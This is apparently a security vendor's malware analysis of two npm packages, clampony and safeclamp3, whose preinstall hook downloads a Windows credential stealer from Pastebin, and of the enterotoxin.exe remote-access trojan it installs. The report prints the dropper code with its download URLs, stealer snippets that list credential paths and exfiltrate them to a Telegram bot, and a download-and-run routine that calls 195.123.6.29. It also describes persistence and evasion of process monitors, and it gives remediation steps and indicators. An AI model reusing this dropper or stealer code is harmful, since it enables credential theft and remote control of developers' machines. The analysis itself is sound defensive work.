---
title: "clampony npm Dropper Stages a Windows Credential Stealer"
description: "Two throwaway npm accounts published copies of the clamp utility, clampony and safeclamp3, with a preinstall dropper. clampony downloads a live Windows credential stealer from Pastebin on every install but does not run it yet."
url: "https://safedep.io/blog/clampony-npm-preinstall-telegram-stealer"
author: "SafeDep Team"
published: "2026-11-24"
---

# clampony npm Dropper Stages a Windows Credential Stealer

Two npm packages, `clampony` and `safeclamp3`, copy a one-function utility that clamps a number between two values and add a `preinstall` hook. In `clampony`, that hook already downloads a credential stealer from Pastebin on every `npm install`. The stealer takes cloud keys, SSH keys, package registry tokens, saved FTP sessions, shell history and Telegram sessions from Windows machines, and uploads them to a Telegram bot. It also installs `enterotoxin.exe`, a remote-access trojan (RAT) that logs keystrokes and runs the operator's commands. The npm package does not run the download yet, because the function that would run it is empty.

Both packages appeared on 24 November 2026 from two new accounts, `tinafo6772` and `felisox354`, that own one package each. The accounts published 12 versions in 73 minutes and added the dropper step by step. The stealer on Pastebin is live and complete.

## Affected packages

| Package | Account | Versions with a dropper | Last version | What `preinstall` does in the last version |
| --- | --- | --- | --- | --- |
| `clampony` | `tinafo6772` | 1.0.1, 1.0.6, 1.0.7, 1.0.9, 1.0.10, 1.0.11 | 1.0.11 | Downloads the stealer, does not run it |
| `safeclamp3` | `felisox354` | 1.0.7, 1.0.11 | 1.0.11 | Starts a hidden background Node process |

Every version ships the same `index.js`, a copy of [hughsk/clamp](https://github.com/hughsk/clamp). The copies keep the original README and the MIT licence, with Hugh Kennedy's name still in it. Both `package.json` files set `"author": "Larno Karninsky"`. Neither package links a repository.

Affected packages: [CSV](https://safedep.io/data/blogs/clampony-npm-preinstall-telegram-stealer-packages.csv)

## Timeline

- **00:03** enterotoxin.exe built. PE timestamp of the RAT.
- **01:41** safeclamp3 name reserved. `felisox354` publishes the `0.0.0-stage` placeholder from npm's staged publishing flow.
- **01:44** safeclamp3 1.0.2. A clean copy of `clamp`. 1.0.3 follows at 01:52.
- **02:03** safeclamp3 1.0.7 adds preinstall. `preinstall` runs an empty `setup.js`.
- **02:12** safeclamp3 1.0.11 tests a hidden launch. `setup.js` starts a detached child process that prints `1`.
- **02:34** clampony published. `tinafo6772` publishes the placeholder, then 1.0.1 with an empty `setup.js` at 02:36.
- **02:49** clampony 1.0.7 and 1.0.6 add the downloader. The download code is in place, with an empty URL list.
- **02:53** clampony 1.0.9 names the stealer URLs (Fetches stealer). 1.0.10 and 1.0.11 follow within 44 seconds.
- **04:22** Stealer last modified on Pastebin. Both URLs serve the same 49,280-byte stealer.

npm published 1.0.7 of `clampony` before 1.0.6, so the version numbers are not in time order.

## The preinstall dropper

`clampony` 1.0.11 adds one line to the copied `package.json`:

```json title="package.json @ clampony 1.0.11 (lines 11-14)"
  "scripts": {
    "test": "node test",
    "preinstall": "node setup.js"
  },
```

`setup.js` contains two URLs, a Pastebin paste and a mirror on `calcal[.]ru`. It requests both at the same time with `fetch`, keeps the first good response and aborts the other.

```js title="setup.js @ clampony 1.0.11 (lines 1-10)"
const { spawn } = require('node:child_process');
const { join } = require('node:path');
const { randomUUID } = require('node:crypto');
const { tmpdir } = require('node:os');
const { writeFile } = require('node:fs/promises');

const urls = [
    'https://pastebin.com/raw/z6K1Rg8J',
    'https://calcal.ru/p/t5edjvR/raw'
];
```

The script then builds a random file name in the temp directory and passes it to `run()`. It never writes the downloaded bytes to that path, and `run()` is empty. The imports of `spawn` and `writeFile` have nothing to do yet.

```js title="setup.js @ clampony 1.0.11 (lines 31-47)"
        const { data, index } = await Promise.any(tasks);

        controllers.forEach((controller, i) => {
            if (i !== index) controller.abort();
        });

        const filepath = join(tmpdir(), randomUUID());

        return filepath;
    } finally {
        controllers.forEach(controller => controller.abort());
    }
}

function run(filepath) {

}
```

The versions show the order of work. 1.0.6 and 1.0.7 carry this downloader with `urls = []`. 1.0.9 fills in the URLs and changes nothing else.

```diff title="setup.js (clampony 1.0.7 → 1.0.9)"
 const { randomUUID } = require('node:crypto');
 const { tmpdir } = require('node:os');
 
-const urls = [];
+const urls = [
+    'https://pastebin.com/raw/z6K1Rg8J',
+    'https://calcal.ru/p/t5edjvR/raw'
+];
 
 async function download() {
     const controllers = urls.map(() => new AbortController());
```

From 1.0.9 on, every install of `clampony` downloads the stealer and sends the installer's IP address to both hosts. It does not run the stealer yet.

## How safeclamp3 tests a hidden launch

`safeclamp3` 1.0.11 tests the step that `clampony` is missing. Its `setup.js` starts a second Node process, detaches it from npm, ignores its output and lets npm exit without waiting.

```js title="setup.js @ safeclamp3 1.0.11"
const { spawn } = require('node:child_process');
const path = require('node:path');

const child = spawn(
  process.execPath,
  [path.join(__dirname, 'ensure-tpm-antitamper.js')],
  {
    detached: true,
    stdio: 'ignore'
  }
);

child.unref();
```

The file it starts, `ensure-tpm-antitamper.js`, holds only `console.log(1)`. A clamp function has no reason to start a background process at install time. The two accounts publish the same code under the same fake author, and each tests one half of the dropper.

## The Pastebin stealer

Both URLs returned the same file on 24 November: 49,280 bytes of JavaScript processed by obfuscator.io, SHA-256 `ca2b7eced5937817b2aca2d50542d2e171bc95593be72a94c158616ed17a5334`. The snippets below keep the obfuscated variable names, with the strings decoded and line breaks added.

The stealer runs only on Windows. It stops on any other platform.

```js title="Pastebin stealer, main() (strings decoded, snippet)"
'MCvni':'win32',
/* ... */
if(!CONFIG['token']||!CONFIG['chatId'])throw new Error('Missing Telegram bot token or chat ID');
if(_0x5a7459['VolSu'](process['platform'],_0x5a7459['MCvni']))throw new Error('Windows required!');
```

`VolSu` is a wrapper for `!==`, so any platform other than `win32` throws.

### What it collects

The obfuscator left the target paths readable. They sit in the source as template literals with Windows environment variables. The stealer copies:

- **Cloud and container credentials** for AWS, Google Cloud, Azure, Kubernetes, Docker and Terraform.
- **Package registry and git credentials** in `.npmrc`, `.pypirc`, Poetry's `auth.toml`, `.git-credentials`, the GitHub CLI folder and `.ssh`.
- **Saved remote sessions** from FileZilla, WinSCP and MobaXterm.
- **Shell history** from PowerShell, MSYS2 and Cygwin bash, zsh, fish, clink and nushell, plus the `hosts` file.
- **Telegram Desktop session data** in `%APPDATA%\Telegram Desktop\tdata`, including the `D877F783D5D3EF8C` folder. With it, the attacker can open the victim's Telegram account on another machine.

```js title="Pastebin stealer, CONFIG.files (strings decoded, snippet)"
'files':[String.raw`%USERPROFILE%\.aws\credentials`,String.raw`%APPDATA%\gcloud\credentials.db`,String.raw`%USERPROFILE%\.azure\accessTokens.json`,
String.raw`%USERPROFILE%\.azure\config`,String.raw`%USERPROFILE%\.kube\config`,String.raw`%USERPROFILE%\.docker\config.json`,
```

### How the stolen files leave the machine

The stealer copies the files into a temp folder whose name starts with `files-staging-`. It packs them into `sysvolume.zip` with `tar.exe`, and falls back to PowerShell's `ZipFile::CreateFromDirectory` when `tar.exe` is missing. Archives up to 50 MB go to a Telegram bot with `sendDocument`, as `exfil.zip` with a file count in the caption. On each retry it switches between a direct connection and nine authenticated HTTP proxies. The snippet below redacts the bot token and the proxy credentials.

```js title="Pastebin stealer, CONFIG (strings decoded, snippet)"
CONFIG={'token':'9249894009:[REDACTED]','chatId':0x1c74e3264,
'proxies':['http://[REDACTED]@160.116.1.30:8000','http://[REDACTED]@45.145.57.208:11928',
'http://[REDACTED]@85.195.81.159:11838','http://[REDACTED]@199.247.15.159:11409',
```

`0x1c74e3264` is chat ID `7638757988`. Errors also go to the bot, with a stack trace, so failed runs reach the operator.

### The enterotoxin.exe download

While it collects files, the stealer also runs a function named `bringBeautifulGift`. It downloads `enterotoxin.exe` from `195.123.6.29` over HTTPS, saves it to the temp folder under a random name and starts it hidden. A timer deletes the file 6 seconds later.

```js title="Pastebin stealer, bringBeautifulGift() (strings decoded, snippet)"
'kTdoG':'https://195.123.6.29:443/enterotoxin.exe',
/* ... */
_0x35e04d=path['join'](os['tmpdir'](),randomUUID()+'.exe');
/* ... */
await fs['writeFile'](_0x35e04d,Buffer['from'](await _0x49859f['arrayBuffer']())),
/* ... */
spawn(_0x35e04d,[],{'detached':!![],'stdio':_0x57ace3['Zliwz'],'windowsHide':!![]})['unref']();
```

The address sits in a range that RIPE lists for Tranquila-Host Ltd (AS203826). No publicly trusted certificate for it appears in Certificate Transparency logs, and the stealer does not turn off certificate checks. Unless the host gets a valid certificate, Node would refuse the download. The host served the file on 24 November to a client that skipped the certificate check.

## The enterotoxin.exe remote-access trojan

`enterotoxin.exe` is a RAT that poses as a Microsoft Store updater. It is a 64-bit Windows program of 352,256 bytes, SHA-256 `48cf14560a8c2c5eaa984078cb345a81bc6d49d6695a06851499a3a31260aa91`. It is not signed and not packed. Its PE timestamp is 2026-11-24 00:03 UTC, 98 minutes before the first `safeclamp3` placeholder. No public report names the file, its hash or its network markers. The program names itself in its HTTP User-Agent, `enterotoxin/0.1`.

![Flow diagram. Install: the Pastebin stealer downloads and starts enterotoxin.exe, which copies itself as a Microsoft Store updater, then adds four scheduled tasks and a Run value, and rewrites taskbar shortcuts so that each click starts the agent first. Agent: the resident agent, which exits when Task Manager or a process tool opens, starts a keylogger and clipboard capture without a task, polls 195.123.6.29 on port 443 for tasks, and opens a second channel on port 13599 with a CHK1 handshake. Tasks from the poll run as Python or batch commands, and their output goes back to the operator.](https://safedep.io/_next/static/immutable/media/clampony-npm-preinstall-telegram-stealer-rat-flow.0piq26rwoluhg.png)

### Installation and persistence

The Pastebin stealer starts `enterotoxin.exe` with no arguments. In that mode, the program copies itself to `%LOCALAPPDATA%\Programs\Microsoft Store\MicrosoftStoreUpdaterV<n>.exe`, adds four scheduled tasks and a `Run` registry value, and starts a second copy of itself with `--agent`.

```console
$ strings -a -e l enterotoxin.exe | grep -E 'Ensure Updater|StoreUpdateMaintenance|Enterotoxin\\Agent|Programs\\Microsoft Store$|CurrentVersion\\Run'
%s\Programs\Microsoft Store
\MicrosoftSoftware\Ensure Updater
\Microsoft\Windows\WindowsUpdate\Ensure Updater
\Enterotoxin\Agent
\MicrosoftSoftware\StoreUpdateMaintenance
Software\Microsoft\Windows\CurrentVersion\Run
```

The same mode rewrites the shortcuts pinned to the Windows taskbar. Each shortcut keeps its icon, but its target becomes the agent with `--payload` and the original program as the argument. When the user clicks a pinned browser or editor, the agent starts first, then opens the original program, so the click works as before. The program skips pinned web links and `shell:` items. Its other modes, `--scan`, `--recovery` and `--report`, list, restore and report on the rewritten shortcuts.

### Hiding from process monitors

The agent stops when someone looks for it. At start, it checks the running processes against a list of 12 program names. The list covers Task Manager, Resource Monitor, Performance Monitor, System Informer, Process Hacker and Process Lasso. It also covers Process Explorer and Process Monitor, with their 64-bit and ARM64 builds. If one of them runs, the agent exits. While it runs, a WMI subscription to new processes stops the agent when one of these tools starts. The scheduled tasks and the hijacked shortcuts start it again later.

```console
$ strings -a -e l enterotoxin.exe | grep -E '^(taskmgr|procexp64|systeminformer)\.exe$|Win32_ProcessStartTrace'
taskmgr.exe
procexp64.exe
systeminformer.exe
SELECT * FROM Win32_ProcessStartTrace
```

### How the agent takes commands

The agent takes commands from the same host that served it. It computes an ID from a SHA-256 hash of the machine's `MachineGuid` and polls `/enterotoxin/<id>/control` over HTTPS. Each task arrives with a task ID and a runtime, `python` or `batch`. For Python tasks, the agent finds an installed interpreter through the registry and common install folders. Batch tasks run through `cmd.exe`. Each task runs in a job object with a time limit. The agent posts the exit code and the base64-encoded output to `/enterotoxin/<id>/results`.

```console
$ strings -a -e l enterotoxin.exe | grep -E '^https://195|enterotoxin/%s/(control|results)|X-Enterotoxin-(Available|Runtime)|^(python|batch)$'
https://195.123.6.29:443
%s/enterotoxin/%s/control
X-Enterotoxin-Available-Slots: %lu
X-Enterotoxin-Runtime
%s/enterotoxin/%s/results
python
batch
```

The agent uses WinHTTP and keeps Windows certificate checks on. As with the download of `enterotoxin.exe`, its HTTPS tasking works only when `195.123.6.29` presents a certificate that Windows trusts.

A second channel connects to TCP port 13599 on the same address. Its handshake starts with the marker `CHK1` and the version `0.1.0`. The binary also contains the KCP reliable-transport library, which probably carries this channel. The message format of the channel is not decoded.

### Keylogging and clipboard capture

The agent starts a keyboard hook and a clipboard listener without waiting for a task. Keystrokes go to `events.ksp` under an `Enterotoxin\Keylogger` folder, and collected data waits in a spool at `%LOCALAPPDATA%\Microsoft\Store\UpdateCache\obj-*.spy` for upload. The binary also contains screen capture code. No code path starts it directly, so the operator most likely starts it with a task.

## How close the dropper is to running

The npm side still lacks two steps, writing the downloaded file to disk and starting it. `safeclamp3` has already tested the second step. The two steps are a `writeFile` call and a `spawn` call, both already imported in 1.0.11, and the accounts ship new versions minutes apart.

The Pastebin stealer needs one more piece before it runs. It loads its HTTP client from the `undici` package.

```js title="Pastebin stealer, module setup (strings decoded, snippet)"
const fs=require('node:fs/promises'),path=require('node:path'),os=require('node:os'),{randomUUID}=require('node:crypto'),
{spawn,execFile}=require('node:child_process'),{promisify}=require('node:util'),{fetch,Agent,ProxyAgent,FormData}=require('undici'),
```

Node uses undici internally but does not expose it under that name. Node looks for `undici` in `node_modules` folders from the script's own location upward, so a copy started from the temp directory would stop at `require('undici')`, even when the npm package installs `undici`. To close that gap, the operator has to change where or how the stealer loads, for example by saving it inside a folder that has `undici` installed, or change the paste. Because the stealer sits on Pastebin, the operator can change what it does without a new npm release.

As of 04:37 UTC on 24 November, neither package had a newer version, and both URLs still served the same file.

## Am I affected?

Check your lockfiles and `node_modules` for either package. [vet](https://github.com/safedep/vet) reports known malicious packages in a project.

```console
$ vet scan -D .
$ grep -nE 'clampony|safeclamp3' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
```

If you installed `clampony` 1.0.9 to 1.0.11, your network reached `pastebin[.]com` and `calcal[.]ru`. The stealer likely did not run. Remove the package and block both URLs.

If you installed a `clampony` or `safeclamp3` version newer than 1.0.11 on Windows, treat the machine as compromised.

1. Rotate every credential in the list above. That includes cloud keys, registry tokens, SSH keys and the saved FileZilla, WinSCP and MobaXterm passwords. The keylogger also records passwords typed after the infection.
2. End all other Telegram sessions from **Settings > Devices** on a phone.
3. Look for `enterotoxin.exe` and its persistence in PowerShell. The agent exits when Task Manager or a similar tool opens, but its files, tasks and shortcuts stay.

   ```console
   $ Get-ScheduledTask | Where-Object { $_.TaskName -in 'Ensure Updater','StoreUpdateMaintenance','Agent' -and $_.TaskPath -match 'MicrosoftSoftware|WindowsUpdate|Enterotoxin' }
   $ Get-ChildItem "$env:LOCALAPPDATA\Programs\Microsoft Store" -Filter 'MicrosoftStoreUpdaterV*.exe'
   $ Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' | Select-Object 'MicrosoftStoreUpdater*'
   ```

4. Check the targets of your pinned taskbar shortcuts. If a shortcut's target is `MicrosoftStoreUpdaterV<n>.exe` with `--payload`, the agent has rewritten it. Unpin it and pin the program again.
5. Search proxy and DNS logs for `195.123.6.29` (ports 443 and 13599), the nine proxy addresses and `api.telegram[.]org` traffic from developer machines.

## Indicators of compromise

[IoC: clampony and safeclamp3](https://safedep.io/data/blogs/clampony-npm-preinstall-stealer-iocs.csv)

## Full list of affected versions

The list includes every version from both accounts, the placeholders and the clean copies too, because the same accounts control later releases.

[clampony-npm-preinstall-telegram-stealer-packages.csv](https://safedep.io/data/blogs/clampony-npm-preinstall-telegram-stealer-packages.csv)

## Related reading

- [Malicious wppconnect Release Steals Secrets and WhatsApp Sessions](https://safedep.io/blog/wppconnect-npm-whatsapp-session-stealer) covers another npm stealer that sends stolen data to a Telegram bot.
- [Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli](https://safedep.io/blog/hugo-paper-mevn-cli-forged-commit-preinstall-dropper) covers a `preinstall` hook that downloads and runs a remote script.
